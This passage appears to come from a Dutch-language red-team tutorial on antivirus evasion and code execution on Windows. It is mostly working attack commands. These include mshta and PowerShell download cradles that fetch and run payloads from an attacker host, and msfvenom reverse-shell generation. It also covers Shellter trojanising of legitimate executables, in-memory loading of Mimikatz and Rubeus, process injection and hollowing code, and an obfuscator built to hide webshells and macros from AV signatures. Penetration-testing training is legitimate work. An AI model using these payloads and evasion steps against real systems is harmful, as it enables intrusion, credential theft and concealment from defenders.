# 2. Via Office macro:
# Sub AutoOpen()
#   Shell "mshta http://ATTACKER_IP/evil.hta"
# End Sub

# 3. Via command line:
mshta http://ATTACKER_IP/evil.hta

# 4. Inline (geen bestand nodig):
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run " & _
  """powershell -ep bypass -c IEX(New-Object Net.WebClient)" & _
  ".DownloadString('http://ATTACKER_IP/shell.ps1')"", 0:close")

Listener starten:

# Eenvoudig met netcat:
nc -nlvp 443

# Of via Metasploit:
msfconsole -q -x "use exploit/multi/handler; \
  set payload windows/shell_reverse_tcp; \
  set LHOST 0.0.0.0; set LPORT 443; exploit"

IB Tip: mshta.exe is een signed Windows binary – een LOLBin. self.close in het HTA-script sluit het venster direct na uitvoering, en -w hidden verbergt het PowerShell-venster. De gebruiker ziet even een flits. Misschien.

AV Bypass 3: NetLoader – In-Memory Assembly Loading

NetLoader is het Zwitserse zakmes van de evasion-toolkit. Het laadt .NET-assemblies direct in het geheugen, patcht automatisch AMSI en ETW (Event Tracing for Windows) voordat het de payload uitvoert, en laat niets achter op de schijf.

Niets. Op. De. Schijf.

Enkele stage: NetLoader laadt payload direct:

# Laad SafetyKatz (Mimikatz-variant) in memory
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/SafetyKatz.exe

# Met argumenten:
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/SafetyKatz.exe `
  sekurlsa::logonpasswords exit

Dubbele stage: AssemblyLoad laadt NetLoader laadt payload:

# AssemblyLoad -> NetLoader -> payload (drie lagen diep)
C:\Users\Public\AssemblyLoad.exe `
  http://10.0.0.1/tools/Loader.exe `
  -path http://10.0.0.1/tools/SafetyKatz.exe

Voorbeelden met andere payloads:

# Kerberoasting met Rubeus
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/Rubeus.exe kerberoast /stats

# BloodHound data verzamelen
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/SharpHound.exe `
  --CollectionMethods All

# ADCS kwetsbaarheden zoeken
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/Certify.exe find /vulnerable

Het concept van dubbele staging is interessant. AssemblyLoad laadt NetLoader in het geheugen. NetLoader patcht AMSI en ETW. Daarna laadt NetLoader de eigenlijke payload – SafetyKatz, Rubeus, SharpHound – ook in het geheugen. Er zijn drie lagen, en geen van drieen raakt de schijf. Het is een Russische matroesjka-pop van evasion.

IB Tip: Loader.exe zelf moet ook AV-proof zijn. Als Defender de loader detecteert, heb je niets aan in-memory loading. Obfusceer de loader indien nodig, of gebruik de AssemblyLoad-variant als extra laag. Het is schildpadden helemaal naar beneden.

AV Bypass 4: Shellter – PE Injection

Shellter neemt een bestaande, legitieme Windows-executable en injecteert daar shellcode in. Het resultaat is een bestand dat eruitziet als PuTTY of WinSCP, maar dat bij uitvoering ook een reverse shell opzet. Het is de digitale versie van een smokkelaar die cocaïne in de binnenkant van een beeldje verstopt.

Installatie op Kali:

sudo apt install shellter
# Vereist wine (32-bit) op Linux:
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install wine32

Automatische modus:

shellter
# Kies: A (Auto)
# PE Target: /usr/share/windows-binaries/plink.exe
# Payload: L (Listed)
# Kies: 1 (meterpreter_reverse_tcp)
# LHOST: ATTACKER_IP
# LPORT: 443

Handmatige modus (betere evasion):

shellter
# Kies: M (Manual)
# PE Target: pad/naar/legit.exe
# Tracing engine vindt beschikbare code caves
# Custom payload: /pad/naar/raw_shellcode.bin

Shellcode genereren voor Shellter:

# Raw shellcode voor custom payload:
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=ATTACKER_IP LPORT=443 -f raw -o shellcode.bin

# Staged vs stageless:
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=ATTACKER_IP LPORT=443 -f raw -o staged.bin
msfvenom -p windows/meterpreter_reverse_tcp \
  LHOST=ATTACKER_IP LPORT=443 -f raw -o stageless.bin

Goede PE-targets voor injection:

• /usr/share/windows-binaries/plink.exe
• /usr/share/windows-binaries/whoami.exe
• WinSCP.exe, 7zFM.exe, putty.exe

IB Tip: Gebruik 32-bit PE-targets – Shellter is een 32-bit tool. Auto modus is sneller, maar Manual geeft betere evasion vanwege de code cave selectie. Gebruik altijd een verse kopie van de legitieme executable voor elke encoding. En test met DefenderCheck of ThreatCheck voordat je het naar het doelwit stuurt. Vertrouw nooit op “het werkte de vorige keer.”

AV Bypass 5: Multi-Taal Payload Obfuscatie (obfuscate_av.py)

Tot nu toe ging het over PowerShell-obfuscatie met obfuscate_ps.py. Maar payloads komen in meer smaken dan alleen .ps1. PHP webshells, ASPX shells, Python reverse shells, HTA-bestanden, VBA macro’s en platte tekst shell-scripts – ze worden allemaal door AV-engines gescand op bekende signatures. En die signatures zijn precies zo voorspelbaar als je zou verwachten.

obfuscate_av.py past hetzelfde principe toe als zijn PowerShell-broer: alleen de regels die een bekende AV-signature bevatten worden geobfusceerd. De rest blijft ongewijzigd en leesbaar. Maar de technieken zijn per taal anders, omdat elke taal zijn eigen trucjes heeft.

Ondersteunde talen en technieken:

Bekende signatures per taal:

De signature-database is ingebouwd en bevat per taal de strings die door AV-engines als malware-indicator worden herkend:

• PHP: shell_exec, system, passthru, exec, popen, proc_open, eval, base64_decode, move_uploaded_file
• ASPX: ProcessStartInfo, cmd.exe, Process.Start, UseShellExecute, System.Diagnostics
• Python: socket.socket, subprocess, os.dup2, SOCK_STREAM, AF_INET, /bin/sh
• HTA: CreateObject, Wscript.Shell, powershell, -nop, -enc
• VBA: CreateThread, VirtualAlloc, RtlMoveMemory, KERNEL32, Declare PtrSafe Function
• TXT: /bin/sh, /bin/bash, nc -e, /dev/tcp, mkfifo

CLI-gebruik:

# Automatische taaldetectie op basis van extensie
python3 obfuscate_av.py http/payloads/shell.php

# Output: http/payloads/shell-obf.php
# [*] Obfuscating: http/payloads/shell.php (taal: php)
# [+] Klaar: 3 string, 0 code vervangingen

# Forceer taaldetectie
python3 obfuscate_av.py payload.txt -l python

# Met eigen output pad
python3 obfuscate_av.py shell.aspx -o shell-clean.aspx

VBA obfuscatie voor macro’s:

VBA-obfuscatie werkt anders dan de rest: het wordt niet toegepast op een bestandsextensie, maar op de VBA-code in een macro. De macro generators (macro.py, macro2.py) hebben een --obfuscate-vba flag:

# Genereer macro met VBA obfuscatie
python3 macro.py 10.0.0.1 443 --obfuscate-vba

Dit vervangt API-namen als KERNEL32, VirtualAlloc en CreateThread in de gegenereerde VBA-code met Chr() concatenatie. Het resultaat: de macro werkt identiek, maar AV-engines herkennen de API-calls niet meer.

Encoder opties voor binary payloads:

Voor binaire payloads (.exe, .elf, .msi) werkt tekst-obfuscatie niet – je kunt niet zomaar bytes gaan verplaatsen in een gecompileerd programma. In plaats daarvan bieden de generators msfvenom encoder opties:

# Linux ELF met shikata_ga_nai encoding (3 iteraties)
python3 linux_elf.py 10.0.0.1 443 --encoder x86/shikata_ga_nai --iterations 3

# MSI payload met XOR encoding
python3 msi_payload.py 10.0.0.1 443 --encoder x64/xor_dynamic --iterations 5

# Meterpreter met encoder + bestaande XOR-laag
python3 meterpreter.py 10.0.0.1 443 --encoder x64/xor --iterations 2

Beschikbare encoders: x86/shikata_ga_nai, x64/xor_dynamic, x64/xor, x86/xor, x86/alpha_mixed, x64/zutto_dekiru.

Dashboard-integratie:

De obfuscatie is op drie plekken in het dashboard beschikbaar:

1. Payload generators – Elke text-based generator (PHP shell, ASPX shell, HTA, Python reverse shell) heeft een AV Evasion checkbox. Binary generators (Linux ELF, MSI, Meterpreter) hebben een encoder dropdown en iterations veld. Macro generators hebben een VBA Obfuscatie checkbox.

2. On-the-fly downloads – Net als bij .ps1 bestanden kunnen .php, .aspx, .py, .hta en .txt bestanden on-the-fly geobfusceerd worden bij download:

   # Geforceerde obfuscatie bij download
   curl http://10.0.0.1:5000/p/shell.php?obf=1
   curl http://10.0.0.1:5000/p/shell.aspx?obf=1
   
   # Zonder obfuscatie (ook als globale instelling aan staat)
   curl http://10.0.0.1:5000/p/shell.php?obf=0

3. Task runner – De taak Obfuscate bestand (multi-taal) in het Tasks-paneel obfusceert elk ondersteund bestandstype via de CLI.

IB Tip: Combineer text-based obfuscatie met on-the-fly downloads voor maximale variatie. Elke download produceert een unieke variant door willekeurige splitpunten en variabelenamen. Als een specifieke variant geblokkeerd wordt door AV, download het bestand opnieuw voor een andere variant. Voor binaire payloads: gebruik encoding in combinatie met andere evasion-technieken (Shellter, in-memory loading via NetLoader). Encoding alleen is zelden voldoende tegen moderne EDR.

Process Injection: Parasiteren op Legitieme Processen

Process injection is het cuckoo-effect van malware: je legt je code in het nest van een ander proces en laat dat proces het uitvoeren. Vanuit het perspectief van het besturingssysteem draait er geen verdacht programma – er draait alleen maar explorer.exe of svchost.exe, die altijd al draaien. Het enige verschil is dat er een extra stuk code in het geheugen van dat proces zit.

Dit is fundamenteel anders dan de technieken die we tot nu toe hebben besproken. AMSI-bypasses en AppLocker-bypasses gaan over het starten van code. Process injection gaat over het verbergen van code die al draait.

Process Injection 1: CreateRemoteThread

Dit is de klassieke methode, het schoolboekvoorbeeld. Vier Windows API-calls, in deze volgorde:

1. OpenProcess – Open een handle naar het doelproces.
2. VirtualAllocEx – Reserveer geheugen in dat proces.
3. WriteProcessMemory – Schrijf je shellcode naar dat geheugen.
4. CreateRemoteThread – Start een thread in het doelproces die je shellcode uitvoert.

# Stap 1: Vind het target proces
Get-Process explorer | select Id, ProcessName

# Stap 2: De volledige injection via P/Invoke
$code = @'
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int a, bool b, int c);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
    IntPtr h, IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
    IntPtr h, IntPtr a, byte[] b, int s, ref int w);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(
    IntPtr h, IntPtr a, uint s, IntPtr l, IntPtr p, uint f, IntPtr t);
'@

$k = Add-Type -memberDefinition $code `
  -Name 'K32' -namespace Win32Functions -passthru

$proc = Get-Process explorer
$h = $k::OpenProcess(0x001F0FFF, $false, $proc.Id)
# 0x001F0FFF = PROCESS_ALL_ACCESS
Write-Host 'Handle:' $h

De flow in detail:

OpenProcess(PROCESS_ALL_ACCESS)
    |
    v
VirtualAllocEx(MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    |
    v
WriteProcessMemory(shellcode bytes)
    |
    v
CreateRemoteThread(startadres van shellcode)

Shellcode genereren:

# Genereer shellcode in C#-formaat voor gebruik in de injector
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.0.0.1 LPORT=443 -f csharp

IB Tip: Vermijd explorer.exe in productie-assessments – het is een van de meest gemonitorde processen. Gebruik liever een minder opvallend proces zoals RuntimeBroker.exe of smartscreen.exe. Het gaat erom dat je opvalt tussen de duizenden threads die toch al draaien, niet dat je de enige thread bent in een proces waar nooit iets gebeurt.

Process Injection 2: DLL Injection

DLL injection is de variant waarbij je geen ruwe shellcode injecteert, maar een volledige DLL. Het doelproces laadt de DLL via LoadLibrary, waarna de DllMain-functie van die DLL automatisch wordt aangeroepen.

Het voordeel boven CreateRemoteThread met shellcode: een DLL kan complexere functionaliteit bevatten, en het laden van DLL’s is een normale Windows-operatie die minder opvalt.

Stap 1: Genereer de DLL:

msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.0.0.1 LPORT=443 -f dll -o payload.dll

Stap 2: Upload naar target:

certutil -urlcache -f http://10.0.0.1/payloads/payload.dll `
  C:\Windows\tasks\payload.dll

Stap 3: Inject via PowerShell P/Invoke:

$code = @'
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(int a, bool b, int c);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(
    IntPtr h, IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(
    IntPtr h, IntPtr a, byte[] b, int s, ref int w);
[DllImport("kernel32.dll")]
public static extern IntPtr GetProcAddress(IntPtr h, string n);
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string n);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(
    IntPtr h, IntPtr a, uint s, IntPtr l, IntPtr p, uint f, IntPtr t);
'@

$k = Add-Type -memberDefinition $code `
  -Name 'K32' -namespace Win32 -passthru

De flow:

OpenProcess
    |
    v
VirtualAllocEx (reserveer ruimte voor DLL-pad als string)
    |
    v
WriteProcessMemory (schrijf DLL-pad naar gereserveerde ruimte)
    |
    v
GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA")
    |
    v
CreateRemoteThread(LoadLibraryA, pointer naar DLL-pad)

Het verschil met de vorige techniek: in plaats van shellcode te schrijven en direct uit te voeren, schrijven we het pad naar een DLL en laten we het doelproces die DLL zelf laden. LoadLibraryA doet al het werk.

IB Tip: De DLL moet in een schrijfbaar pad staan: C:\Windows\tasks, %TEMP%, of een vergelijkbare locatie. Vergeet niet dat de DLL op schijf staat – dit is geen fileless techniek. Dat maakt het kwetsbaarder voor traditionele AV-scans. Combineer met een custom DLL die niet in de signature-database staat.

Process Injection 3: Process Hollowing

Process hollowing is de meest theatrale van de drie: je start een legitiem proces in suspended state, haalt de originele code eruit, vervangt het met je payload, en hervat het proces. Het is letterlijk een bodysnatcher-scenario.

Stap 1: Compileer de hollowing tool:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe `
  /target:exe /out:C:\Windows\tasks\hollow.exe `
  C:\Windows\tasks\hollow.cs

Stap 2: Uitvoeren:

# Vervangt svchost.exe met payload
C:\Windows\tasks\hollow.exe

Het concept in API-calls:

CreateProcess("svchost.exe", CREATE_SUSPENDED)
    |
    v
NtUnmapViewOfSection (verwijder originele code)
    |
    v
VirtualAllocEx (reserveer geheugen op origineel base address)
    |
    v
WriteProcessMemory (schrijf payload)
    |
    v
SetThreadContext (wijs instruction pointer naar payload)
    |
    v
ResumeThread (start het "svchost" proces)

Vanuit het perspectief van Windows draait er een svchost.exe-proces met het juiste parent process, de juiste naam, en de juiste locatie op schijf. Alleen de code in het geheugen is compleet anders. Het is alsof iemand je auto steelt, een andere motor erin zet, en hem terugparkeert op dezelfde plek. Van buiten ziet alles er normaal uit.

Alternatief met Donut:

# Donut converteert een .NET executable naar shellcode
# voor gebruik in een gehollowed proces
donut.exe -f payload.exe -o payload.bin -a 2 -e 3

IB Tip: Gebruik een trusted process als host: svchost.exe, RuntimeBroker.exe, of SearchProtocolHost.exe. Combineer met Parent PID Spoofing voor extra stealth – dan lijkt het alsof het proces door services.exe is gestart in plaats van door jouw payload. Maar let op: moderne EDR kijkt naar de inhoud van het geheugen, niet alleen naar de procesnaam.

PowerShell Cradles: Fileless Delivery

Waarom Cradles?

Een download cradle is een stukje code dat een payload van een remote server haalt en direct in het geheugen uitvoert, zonder het naar schijf te schrijven. Het woord “cradle” is wellicht het vriendelijkste woord ooit gebruikt voor iets wat in feite een digitale aflevering is.

De reden dat cradles zo populair zijn, is simpel: als er niets op de schijf staat, kan een bestandsgebaseerde AV-scan niets vinden. Het bestand bestaat niet. Er is geen hash om te vergelijken, geen bestandsnaam om te flaggen, geen tijdstempel om te correleren. Het enige bewijs is in het geheugen, en geheugen is vluchtig.

Microsoft heeft vijf verschillende manieren om HTTP-requests te doen in PowerShell ingebouwd. Dat is alsof een slotenmaker vijf verschillende lockpicks in een gratis goodiebag uitdeelt. Hier zijn ze allemaal.

Cradle 1: Invoke-WebRequest (IWR)

De meest gebruikte cradle in PowerShell 3.0 en hoger.

# Kort: download en execute in memory
iex (iwr 'http://10.0.0.1/payloads/amsi-shell.ps1' -UseBasicParsing)

# Lang: met variabele
$resp = Invoke-WebRequest `
  -Uri 'http://10.0.0.1/payloads/amsi-shell.ps1' `
  -UseBasicParsing
IEX $resp.Content

# File naar schijf (als je dat wilt):
Invoke-WebRequest `
  -Uri 'http://10.0.0.1/tools/Rubeus.exe' `
  -OutFile 'C:\Windows\tasks\Rubeus.exe'

IB Tip: -UseBasicParsing voorkomt de IE engine dependency en werkt op Server Core waar IE niet geinstalleerd is. iwr is het alias voor Invoke-WebRequest – korter, minder opvallend in logs (hoewel je niet op die illusie moet vertrouwen).

Cradle 2: WebClient (Net.WebClient)

De klassieker. De cradle die in elke tutorial staat, in elke blog verschijnt, en in elke detectieregel zit. En toch werkt het nog steeds, omdat niet iedereen die detectieregels heeft geimplementeerd.

# De standaard download cradle
iex (New-Object Net.WebClient).DownloadString(
    'http://10.0.0.1/payloads/amsi-shell.ps1')

# Met proxy awareness (voor corporate omgevingen):
$wc = New-Object Net.WebClient
$wc.Proxy = [Net.WebRequest]::GetSystemWebProxy()
$wc.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
IEX $wc.DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')

# File naar schijf:
(New-Object Net.WebClient).DownloadFile(
    'http://10.0.0.1/tools/Rubeus.exe',
    'C:\Windows\tasks\Rubeus.exe')

De proxy-aware variant is cruciaal in zakelijke omgevingen. Veel bedrijven routeren al het verkeer door een proxyserver. Zonder de proxyconfiguratie mislukt je cradle simpelweg – en dan zit je in een bedrijfsnetwerk met een half werkende aanval en een gefrustreerde blik.

IB Tip: IEX is het alias voor Invoke-Expression en wordt zwaar gedetecteerd. Alternatieven:

# Alternatief 1: Gebruik iex via iwr
iex(iwr 'http://...' -UseBasicParsing)

# Alternatief 2: Via InvokeCommand
$ExecutionContext.InvokeCommand.InvokeScript(
    (New-Object Net.WebClient).DownloadString('http://...')
)